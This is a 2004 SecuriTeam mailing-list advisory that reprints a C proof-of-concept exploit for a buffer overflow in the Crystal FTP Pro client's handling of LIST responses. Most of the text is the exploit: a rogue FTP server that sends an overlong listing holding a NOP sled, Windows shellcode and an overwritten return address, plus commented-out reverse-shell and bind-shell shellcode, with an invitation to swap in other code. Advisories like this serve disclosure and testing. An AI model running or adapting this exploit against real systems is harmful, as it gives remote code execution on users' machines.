

# [EXPL] Crystal FTP Pro Client LIST Proof of Concept

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0097.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 12/27/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Dec 2004 10:39:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Crystal FTP Pro Client LIST Proof of Concept

---

## SUMMARY

<<http://www.casdk.com/>> Crystal FTP Pro is "a Top awarded FTP client for dummies and experts". A vulnerability in the way Crystal FTP Pro parses incoming LIST responses allows a remote attacker to cause the program to execute arbitrary code. More details can be found at:

<<http://www.securiteam.com/windowsntfocus/6R00E2KC0E.html>> Crystal FTP Pro Client LIST Buffer Overflow. The following exploit code can be used to test your Crystal FTP Pro client for the LIST buffer overflow.

## DETAILS

/\*

12/23/2004

NOTES: –this piece of code is supposed to be PoC !

–Target Buffer Size: 328–68–4 is about 254 bytes

–RET Addr Space: 0x0012f496 to 0x0012f594

Sending 327 bytes to the client will appen NULL byte to RET–ADDR thus allowing us to jmp to 0x0012f496 and exec arbitrary code.

Insert some tiny code instead of that POP–UP–107–BYTE–CODE !

Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

-Suggestions? Mail me! cybertronic@gmx.net  
Greetz fly to my girlfriend YASMIN H.

\*/

```
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
```

```
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
```

```
#define PORT 1337
#define PASV 31337
#define BACKLOG 5
```

/\*

//335 bytes

unsigned char reverseshell[] =

```
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa"
"\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2"
"\x73\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\xe"
"\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64"
"\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57"
"\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a"
"\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8"
"\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90"
"\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x47\x57"
"\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68\xc0\xa8\x00\xf7\x68\x02"
"\x00\x22\x11\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44"
"\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe"
"\x44\x24\x3d\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d"
"\x44\x24\x10\x54\x50\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00"
"\x51\xff\x55\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24"
"\x57\xff\x55\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b"
"\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb"
"\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0"
"\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b"
"\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b"
"\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";
```

//356 bytes

unsigned char bindshell[] =

```
"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
```

Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

```
"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"  
"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"  
"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"  
"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\xe"  
"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"  
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"  
"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"  
"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"  
"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"  
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"  
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"  
"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"  
"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"  
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"  
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"  
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"  
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"  
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"  
"\x5b\xc2\x08\x00";  
*/
```

```
//107 bytes [ Addresses WinXP Pro SP2 ]
```

```
char code[] =
```

```
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"  
"\x77\x1d\x80\x7c" //LoadLibraryA kernel32.dll  
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"  
"\x28\xac\x80\x7c" //GetProcAddress kernel32.dll  
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51\x51"  
"\x52\xff\xd0\x31\xd2\x50\xb8"  
"\xa2\xca\x81\x7c" //ExitProcess kernel32.dll  
"\xff\xd0\xe8\xc4\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64"  
"\x6c\x6c\x4e\xe8\xc2\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65"  
"\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff\xff\x48\x65\x79\x4e";
```

```
void auth ( int s );  
void header ();  
void handle_cmd ( int s, int connfd, char* ip );  
char* get_cmd ( int s );  
int isip ( char* ip );
```

```
int
```

```
main ( int argc, char* argv[] )
```

```
{  
    int listenfd, connfd;  
    char* ip;  
    pid_t childpid;  
    socklen_t clilen;  
    struct sockaddr_in cliaddr, servaddr;  
  
    if ( argc != 2 )  
    {
```

## Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

```
printf ( RED "[!] Usage: %s LOCAL_IP\n" NORMAL, argv[0] );
exit ( 1 );
}
if ( isip ( argv[1] ) != 0 )
{
    printf ( RED "[!] Enter Valid IP\n" NORMAL );
    exit ( 1 );
}
system ( "clear" );
header ();
printf ( "[*] Creating socket..." );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
    printf ( RED "FAILED!\n" NORMAL );
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PORT );

bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof (
servaddr ) );
printf ( "[*] Listening..." );
if ( listen ( listenfd, BACKLOG ) == -1 )
{
    printf ( RED "FAILED!\n" NORMAL );
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );

for ( ; ; )
{
    clilen = sizeof ( cliaddr );

    if ( ( connfd = accept ( listenfd, ( struct sockaddr * )
&cliaddr, &clilen ) < 0 )
    {
        close ( listenfd );
        printf ( RED "FAILED!\n" NORMAL );
        exit ( 1 );
    }

    if ( ( childpid = fork ( ) ) == 0 )
    {
        close ( listenfd );
        ip = ( char* ) ( argv[1] );
        printf ( "[*] Local IP: %s\n", ip );
        printf ( "[*]" GREEN " Incomming connection
from:\t %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
```

Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

```
        auth ( connfd );
        handle_cmd ( connfd, ( int ) NULL, ip );
    }
    close ( connfd );
}

int
isip ( char* ip )
{
    unsigned int a, b, c, d;

    sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d );
    if ( a < 1 || a > 255 )
        return ( 1 );
    if ( b < 0 || b > 255 )
        return ( 1 );
    if ( c < 0 || c > 255 )
        return ( 1 );
    if ( d < 0 || d > 255 )
        return ( 1 );
    return ( 0 );
}

void
auth ( int s )
{
    char user[32], pass[32], out[128];

    printf ( "[*] Sending Welcome Message..." );
    bzero ( &out, 128 );
    strcpy ( out, "220 cybertronicFTP v0.2\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n"
NORMAL );
        exit ( 1 );
    }
    printf ( GREEN "OK!\n" NORMAL );
    printf ( "[*] Getting Login Information\n" );
    printf ( YELLOW "--> Reading USER..." NORMAL );
    sleep ( 1 );
    if ( read ( s, user, 32 ) <= 0 )
    {
        printf ( RED "FAILED\n" NORMAL );
        exit ( 1 );
    }
    printf ( GREEN "OK!\n" NORMAL );
    sleep ( 1 );
    bzero ( &out, 128 );
    strcpy ( out, "331 Anonymous FTP server, send password
```

```

though.\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n"
NORMAL );
        exit ( 1 );
    }
    printf ( YELLOW "--> Reading PASS..." NORMAL );
    sleep ( 1 );
    if ( read ( s, pass, 32 ) <= 0 )
    {
        printf ( RED "FAILED\n" NORMAL );
        exit ( 1 );
    }
    printf ( GREEN "OK!\n" NORMAL );
    sleep ( 1 );
    bzero ( &out, 128 );
    strcpy ( out, "230 Login successful!\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "\t!!! ERROR: AUTHORIZATION FAILED !!!\n"
NORMAL );
        exit ( 1 );
    }
    printf ( GREEN " USER LOGGED IN!\n" NORMAL );
    printf ( "[*] Proceeding...\n" );
}

void
handle_cmd ( int s, int s2, char* ip )
{
    int listenfd, connfd;
    int i = 1;
    int tmp[4];
    char* a = NULL;
    pid_t childpid;
    socklen_t cliilen;
    struct sockaddr_in cliaddr, servaddr;
    char out[128], evil[512], addr[32];
    char* cmd;;
    unsigned long offset1 = 0xdeadc0de;
    unsigned long offset2 = 0x12f504de;

    while ( 1 )
    {
        cmd = get_cmd ( s );
        if ( strcmp ( cmd, "PWD", 3 ) == 0 )
        {
            bzero ( &out, 128 );
            strcpy ( out, "257 \\"^" is current

```

```

directory.\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "!!! ERROR: COMMAND HANDLING
FAILED !!!\n" NORMAL );
        exit ( 1 );
    }
}
else if ( strcmp ( cmd, "CWD", 3 ) == 0 )
{
    bzero ( &out, 128 );
    strcpy ( out, "257 \"/>" is current
directory.\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "!!! ERROR: COMMAND HANDLING
FAILED !!!\n" NORMAL );
        exit ( 1 );
    }
}
else if ( strcmp ( cmd, "TYPE", 4 ) == 0 )
{
    bzero ( &out, 128 );
    strcpy ( out, "200 Type set to A.\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "!!! ERROR: COMMAND HANDLING
FAILED !!!\n" NORMAL );
        exit ( 1 );
    }
}
else if ( strcmp ( cmd, "PASV", 4 ) == 0 )
{
    bzero ( &addr, 32 );
    a = (char*)strtok ( ip, "." );
    tmp[0] = (int)a;
    while ( a != NULL )
    {
        a = (char*)strtok ( NULL, "." );
        tmp[i] = (int)a;
        i++;
    }
    bzero ( &out, 128 );
    sprintf( out, "227 Entering Passive Mode.
(%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "!!! ERROR: COMMAND HANDLING
FAILED !!!\n" NORMAL );
        exit ( 1 );
    }
}

```

## Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

```

printf ( "[*] Entering Passive Mode...\n" );
printf ( "[*] Creating socket..." );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0
)) == -1 )
{
    printf ( RED "FAILED!\n" NORMAL );
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PASV );

bind ( listenfd, ( struct sockaddr * ) &servaddr,
sizeof ( servaddr ) );
printf ( "[*] Listening..." );
if ( listen ( listenfd, 1 ) == -1 )
{
    printf ( RED "FAILED!\n" NORMAL );
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
clilen = sizeof ( cliaddr );

if ( ( connfd = accept ( listenfd, ( struct
sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
    close ( listenfd );
    printf ( RED "FAILED!\n" NORMAL );
    exit ( 1 );
}
close ( listenfd );
printf ( "[*]" GREEN " Passive connection
established!\n" );
handle_cmd ( s, connfd, addr );
}
else if ( strcmp ( cmd, "LIST", 4 ) == 0 )
{
    printf ( "[*]" GREEN " User is trying to use
\"LIST\" command\n" NORMAL );
    printf ( "[*] Creating bad packet..." );
    //this will overwrite EIP with 0xdead0de
    //bzero ( &evil, 512 );
    //strcpy ( evil, "-rw-r--r-- 29 Dec 22 13:37
cybertronic." );
    //memset ( evil+68, 'A', 254 );
    //strncat ( evil, ( unsigned char * ) &offset1, 4
);

    //strcat ( evil, "\r\n" );
    bzero ( &evil, 512 );

```

## Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

```

strcpy ( evil, "-rw-r--r-- 29 Dec 22 13:37
cybertronic." );
memset ( evil+68, 0x90, 146 );
strcat ( evil, code );
strncat ( evil, ( unsigned char * ) &offset2, 4 );
strcat ( evil, "\r\n" );
printf ( GREEN "OK!\n" NORMAL );
bzero ( &out, 128 );
strcpy ( out, "150 Here comes the directory
listing.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
    printf ( RED "FAILED!" NORMAL);
    exit ( 1 );
}
printf ( "[*] Sending bad packet [%i bytes]...",
strlen ( evil ) );
if ( write ( s2, evil, strlen ( evil ) ) <= 0 )
{
    printf ( RED "FAILED!" NORMAL);
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL);
bzero ( &out, 128 );
strcpy ( out, "226 Transfer ok\r\n" );
printf ( "[*] Confirming..." );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
    printf ( RED "FAILED!" NORMAL);
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL);
close ( s2 );
}
else
{
    bzero ( &out, 128 );
    strcpy ( out, "550 UNKNOWN COMMAND\r\n" );
    if ( write ( s, out, strlen ( out ) ) <= 0 )
    {
        printf ( RED "!!! ERROR: COMMAND HANDLING
FAILED !!!\n" NORMAL );
        exit ( 1 );
    }
}
}
}

char*
get_cmd ( int s )
{

```

Securiteam: [EXPL] Crystal FTP Pro Client LIST Proof of Concept

```
static char cmd[32];
printf ( YELLOW "--> Reading cmd..." NORMAL );
if ( read ( s, cmd, 32 ) <= 0 )
{
    printf ( RED "FAILED! [client crashed]\n" NORMAL);
    exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
return ( cmd );
}

void
header ()
{
    system ( "clear" );
    printf ( RED "### " GREEN "# # " YELLOW "### " BLUE "### " RED
"### "GREEN "### " YELLOW "### " BLUE "### " RED "# # " GREEN "# "
YELLOW"###\n" NORMAL);
    printf ( RED "# " GREEN "# # " YELLOW "# # " BLUE "# " RED "# #
"GREEN " # " YELLOW "# # " BLUE "# # " RED "### " GREEN "# " YELLOW "#\n"
NORMAL);
    printf ( RED "# " GREEN "# # " YELLOW "### " BLUE "### " RED "###
"GREEN " # " YELLOW "### " BLUE "# # " RED "### " GREEN "# " YELLOW
"#\n" NORMAL);
    printf ( RED "# " GREEN " # " YELLOW "# # " BLUE "# " RED "# #
"GREEN " # " YELLOW "# # " BLUE "# # " RED "# ## " GREEN "# " YELLOW "#\n"
NORMAL);
    printf ( RED "### " GREEN " # " YELLOW "### " BLUE "### " RED "# #
"GREEN " # " YELLOW "# # " BLUE "### " RED "# # " GREEN "# " YELLOW
"###\n" NORMAL);
    printf ( RED " cybertronic@gmx.net\n" NORMAL );
    printf ( RED " -----(c) 2005-----\n\n" NORMAL );
    printf ( "Crystal FTP Pro v2.8 PoC\n\n" );
}
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:cybertronic@gmx.net> cybertronic.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.